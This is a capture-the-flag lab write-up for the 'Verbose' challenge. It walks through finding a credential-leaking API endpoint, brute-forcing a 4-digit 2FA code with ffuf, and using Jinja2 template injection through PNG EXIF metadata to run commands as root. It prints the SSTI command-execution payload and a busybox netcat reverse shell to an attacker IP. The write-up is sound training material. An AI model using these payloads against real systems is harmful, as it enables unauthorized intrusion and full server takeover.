> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/verbose.md).

# Verbose

Challenge Lab (Easy) - by Tyler Ramsbey

{% embed url="<https://www.hacksmarter.org/courses/5018ef14-b136-4331-aef0-8fb0a88a3efb>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

You have been authorized to perform an external penetration test against a target organization. During the initial reconnaissance phase, you identified a web application that allows unrestricted public user registration.

1. **Enumerate:** Map the application's attack surface and functionality.
2. **Identify:** Locate exploitable vulnerabilities within the application logic or configuration.
3. **Exploit & Escalate:** Leverage identified flaws to compromise the system, with the final goal of securing root access to the host server to demonstrate maximum impact.

## Summary

<details>

<summary>Summary</summary>

In Verbose we conduct an external web application hosted on port 80. In the initial enumeration phse we identified a verbose `/api/users/all` endpoint exposing plaintext credentials for all registered users, including the `admin` account. Using these credentials, we try to authenticate to the admin dashboard but are prompted for a 2FA code. Lacking rate limiting or code invalidation, we brute-force the 4-digit code via FFuF to gain access. Within the dashboard, an image upload feature allows metadata injection, leading to a server-side template injection (SSTI) vulnerability via EXIF data in uploaded PNG files. Exploiting this flaw, we achieve remote code execution, confirm root privileges, and establish a reverse shell, obtaining the final flag.

</details>

## Recon

We use rustscan `-b 500 -a 10.0.24.218 -- -sC -sV -Pn` to enumerate all TCP ports on the `DC01` machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a 10.0.24.218 -- -sC -sV -Pn
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FiItiyX7WhyzwblK5G78x%2Fgrafik.png?alt=media&amp;token=3a3d3aa4-9303-45b7-87b1-3391cb5971ee" alt=""><figcaption></figcaption></figure>

We have SSH on port `22` available and a web service running `Werkzeug/3.1.5 Python/3.12.3` on port `80`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpU9pvDQaEQccRPvFrl8d%2Fgrafik.png?alt=media&amp;token=920e5d93-3390-4245-a28a-100ea40d4efd" alt=""><figcaption></figcaption></figure>

We try to enumerate the directories and pages using Feroxbuster and find the `/messages` endpoint and login related endpoints to be reachable.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://10.0.24.218/ 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXOZHCSVX1148s1Z3ovWF%2Fgrafik.png?alt=media&amp;token=f3a38fd4-14d9-4851-9558-55105253c4d6" alt=""><figcaption></figcaption></figure>

We visit the index page and get redirected to a login.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FLUyoUC4s4okmRoezuiAQ%2Fgrafik.png?alt=media&amp;token=4dbf8dff-35ed-43f8-ac1d-ac61b31ff24d" alt=""><figcaption></figcaption></figure>

Using Wappalyzer we can confirm that the server is running flask.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3YtRCkfg81DkSKtrZgRv%2Fgrafik.png?alt=media&amp;token=afedc441-4d10-4ed3-acc7-60503f6917e2" alt=""><figcaption></figcaption></figure>

The initial enumeration revealed that login/register and reset endpoints are vulnerable to username enumeration. With our first login attempt as `admin`, we were able to directly confirm the username `admin` via the message 'Invalid password'.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDE391diMOa79vv7oT6bN%2Fgrafik.png?alt=media&amp;token=b76d07c9-c68b-460b-a993-45a1472f3335" alt=""><figcaption></figcaption></figure>

## Web Access as admin

During the enumeration phase, we also created a user and visited the message board. At the same time, we redirected our traffic to Burp Suite but did not intercept it. Upon further inspection, we found the `/api/users/all` endpoint in our HTTP history, which is 'somewhat too verbose' and leaks the credentials of all users on the platform.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FyOcVINBtvk71E7HLB0kL%2Fgrafik.png?alt=media&amp;token=613bf0cf-f495-4f86-a052-76712533f81c" alt=""><figcaption></figcaption></figure>

We try to log in as admin with the found credentials...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMUQYPxuDsLLaN2pjLnU2%2Fgrafik.png?alt=media&amp;token=2614c092-3b04-4950-8729-01f0187124a6" alt=""><figcaption></figcaption></figure>

... and are requested a 2FA 4 digit verification. We note that there is no rate limiting and even after a failed attempt, the 2FA codes do not become invalid because in our brute force attempts we find the 2FA code.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRymw028MvJOCE32hnNoO%2Fgrafik.png?alt=media&amp;token=3681defd-8e3e-47b6-93b4-3f8ab3666f98" alt=""><figcaption></figcaption></figure>

We note down the session...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQIOZvGJqUZle91VuLIhn%2Fgrafik.png?alt=media&amp;token=e93f3a5d-7778-44dd-9f23-0e8871298567" alt=""><figcaption></figcaption></figure>

... and inspect the POST request to craft our FFuF command to brute force the 2FA submission.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJmVLyNhPOtpnQUFNdvu1%2Fgrafik.png?alt=media&amp;token=ec3e7fe3-b14d-484c-ad79-406739cc8712" alt=""><figcaption></figcaption></figure>

With tht tool seq we craft a wordlist of all possible 2FA codes.

```
seq -w 0 9999 > ids.txt
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fg8qz3TNfMOaqWjXaP00c%2Fgrafik.png?alt=media&amp;token=4aeba2d3-2618-4480-817b-f450936031ad" alt=""><figcaption></figcaption></figure>

Next, we try every code, but only use 3 threads. In an initial attempt the appliaction throwed to many server errors without the limitation. This may take a while. The 2FA code might be different in other instances. We get a hit with a redirect code `302`.

{% code overflow="wrap" %}

```
ffuf -X POST -w ids.txt -u http://10.0.24.218/mfa -d 'code=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: session=<INSERT SESSION>' -fc 200 -t 3
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9o6xLkB1AhZ1kxHZJfpy%2Fgrafik.png?alt=media&amp;token=6c69d617-623a-4d69-934f-3aec8e460d63" alt=""><figcaption></figcaption></figure>

We submit the 2FA code...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FztylyVEfBUVQ1MbUIWqj%2Fgrafik.png?alt=media&amp;token=ecafe277-ba79-48e5-857a-c0a945c454fa" alt=""><figcaption></figcaption></figure>

... and are able to log in as admin.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzFlKvKCCRSAadK3G9ZHV%2Fgrafik.png?alt=media&amp;token=503bf64d-d7e8-46bd-8c8c-66a311f40f6a" alt=""><figcaption></figcaption></figure>

At the admin dashboard we find the first flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2fn30Lq6R6kvpzoRBrw2%2Fgrafik.png?alt=media&amp;token=2e642fb3-5798-4b84-8774-7ab91d5f6474" alt=""><figcaption></figcaption></figure>

## Shell as root

On the admin dashboard we are able to submit a logo.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FI3hZqkQTcWwE3cwEMU5k%2Fgrafik.png?alt=media&amp;token=399bb1a1-632c-43f4-8d0e-6d55866ddf2c" alt=""><figcaption></figcaption></figure>

If we click on `Preview Current Logo` after uploading one, we see the logo. It also fetches the meta data of the image.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcWANAJZUceFNnQxur8Ym%2Fgrafik.png?alt=media&amp;token=5d7521a0-410f-4e65-bb21-a4a96104b109" alt=""><figcaption></figcaption></figure>

Let's try to inject some metadata to our logo and see if it gets reflected. For this we are using exiftool.

```
exiftool -Artist="0xb0b" logo.png
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQgAEclG2EuNLfjV5rm5R%2Fgrafik.png?alt=media&amp;token=b7b7996d-f8c3-4217-84fd-c75aebe449bf" alt=""><figcaption></figcaption></figure>

After re-uploading the image we see the meta data reflected.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fby41AhcYuLKXViPUrCWc%2Fgrafik.png?alt=media&amp;token=2d163f4a-3371-4837-ab63-834cf18c52d3" alt=""><figcaption></figcaption></figure>

We try a simple SSTI payload, ...

```
exiftool -Artist="{{7*7}}" logo.png
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FV91h3d4yCP2oeiVYd84q%2Fgrafik.png?alt=media&amp;token=1fbc04cf-7991-416c-9b4d-c217b071481e" alt=""><figcaption></figcaption></figure>

... re-upload the image,  and see it gets evaluated.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fdr2DVPbqt0mj12zxxxHc%2Fgrafik.png?alt=media&amp;token=86ac92f5-8980-443b-b5ef-772ce52e5ab6" alt=""><figcaption></figcaption></figure>

Since we know the application is running on Flask from our Wappalyzer enumeration we try a SSTI payload from one of my favourite blogs of Ingo Kleiber.

{% embed url="<https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/>" %}

We prepare the payload to print the `id` of the current user running the application.

```
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
```

We update the metadata.

{% code overflow="wrap" %}

```
exiftool -Artist="{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}" logo.png
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgLo0CUF4KGGXgmIl4WBW%2Fgrafik.png?alt=media&amp;token=50829e06-cd3f-4c59-946f-f0286ffa1bca" alt=""><figcaption></figcaption></figure>

Upload the image and preview it, and we see it's running as root.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNN0h5kNHi8Yasjew2Z6l%2Fgrafik.png?alt=media&amp;token=cd60bf71-c031-4d93-a9b8-10c2aae074ee" alt=""><figcaption></figcaption></figure>

Next, we prepare a simple reverse shell payload...

{% code overflow="wrap" %}

```
exiftool -Artist="{{request.application.__globals__.__builtins__.__import__('os').popen('busybox nc 10.200.31.81 4445 -e bash').read()}}" logo.png
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FjrDADTa5gwqmwyLfWdNs%2Fgrafik.png?alt=media&amp;token=a2f9d53f-cb53-4df5-ab12-4748d19c0a7f" alt=""><figcaption></figcaption></figure>

upload the image again, set up a listener using Penelope and preview the logo again. This time it does not get rendered, but we get a connection back to our listener. We are `root` and find the final flag at `/root/root.txt`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAsGZbf6G8WcOU88CS1yP%2Fgrafik.png?alt=media&amp;token=8909e1dd-6d10-4536-9321-82ca80f5cb9e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FLDSYeW5htBrlkQD0D9Q2%2Fgrafik.png?alt=media&amp;token=86e5933d-b511-4d5f-8c75-f0587d9deb32" alt=""><figcaption></figcaption></figure>
